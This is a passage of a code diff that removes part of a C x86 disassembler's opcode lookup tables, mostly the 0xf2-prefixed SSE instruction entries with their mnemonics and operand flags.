- { INSTRUCTION_TYPE_SSE, "paddw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfd
- { INSTRUCTION_TYPE_SSE, "paddd", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0xfe
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xff
-};
-
-// 3-byte instructions, prefix 0xf2
-
-INST inst_table3_f2[256] = {
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf
- { INSTRUCTION_TYPE_SSE, "movsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x10
- { INSTRUCTION_TYPE_SSE, "movsd", AM_W|OT_sd, AM_V|OT_sd, FLAGS_NONE, 1 }, // 0x11
- { INSTRUCTION_TYPE_SSE, "movddup", AM_V|OT_q, AM_W|OT_q, FLAGS_NONE, 1 }, // 0x12
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x13
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x14
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x15
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x16
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x17
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x18
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x19
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x20
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x21
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x22
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x23
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x24
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x25
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x26
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x27
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x28
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x29
- { INSTRUCTION_TYPE_SSE, "cvtsi2sd", AM_V|OT_sd, AM_E|OT_d, FLAGS_NONE, 1 }, // 0x2a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2b
- { INSTRUCTION_TYPE_SSE, "cvttsd2si",AM_G|OT_d, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2c
- { INSTRUCTION_TYPE_SSE, "cvtsd2si", AM_G|OT_d, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x30
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x31
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x32
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x33
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x34
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x35
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x36
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x37
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x38
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x39
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x40
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x41
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x42
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x43
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x44
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x45
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x46
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x47
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x48
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x49
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x50
- { INSTRUCTION_TYPE_SSE, "sqrtsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x51
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x52
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x53
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x54
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x55
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x56
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x57
- { INSTRUCTION_TYPE_SSE, "addsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x58
- { INSTRUCTION_TYPE_SSE, "mulsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x59
- { INSTRUCTION_TYPE_SSE, "cvtsd2ss", AM_V|OT_ss, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5b
- { INSTRUCTION_TYPE_SSE, "subsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5c
- { INSTRUCTION_TYPE_SSE, "minsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5d
- { INSTRUCTION_TYPE_SSE, "divsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5e
- { INSTRUCTION_TYPE_SSE, "maxsd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x5f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x60
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x61
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x62
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x63
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x64
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x65
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x66
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x67
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x68
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x69
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6f
- { INSTRUCTION_TYPE_SSE, "pshuflw", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x70
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x71
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x72
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x73
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x74
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x75
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x76
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x77
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x78
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x79
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7b
- { INSTRUCTION_TYPE_SSE, "haddps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x7c
- { INSTRUCTION_TYPE_SSE, "hsubps", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x7d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x80
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x81
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x82
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x83
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x84
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x85
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x86
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x87
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x88
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x89
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x90
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x91
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x92
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x93
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x94
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x95
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x96
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x97
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x98
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x99
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaa
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xab
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xac
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xad
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xae
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaf
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xba
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbe
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbf
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc1
- { INSTRUCTION_TYPE_SSE, "cmpsd", AM_V|OT_sd, AM_W|OT_sd, AM_I|OT_b, 1 }, // 0xc2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xca
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xce
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcf
- { INSTRUCTION_TYPE_SSE, "addsubpd", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0xd0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd5
- { INSTRUCTION_TYPE_SSE, "movdq2q", AM_P|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, // 0xd6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xda
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdb
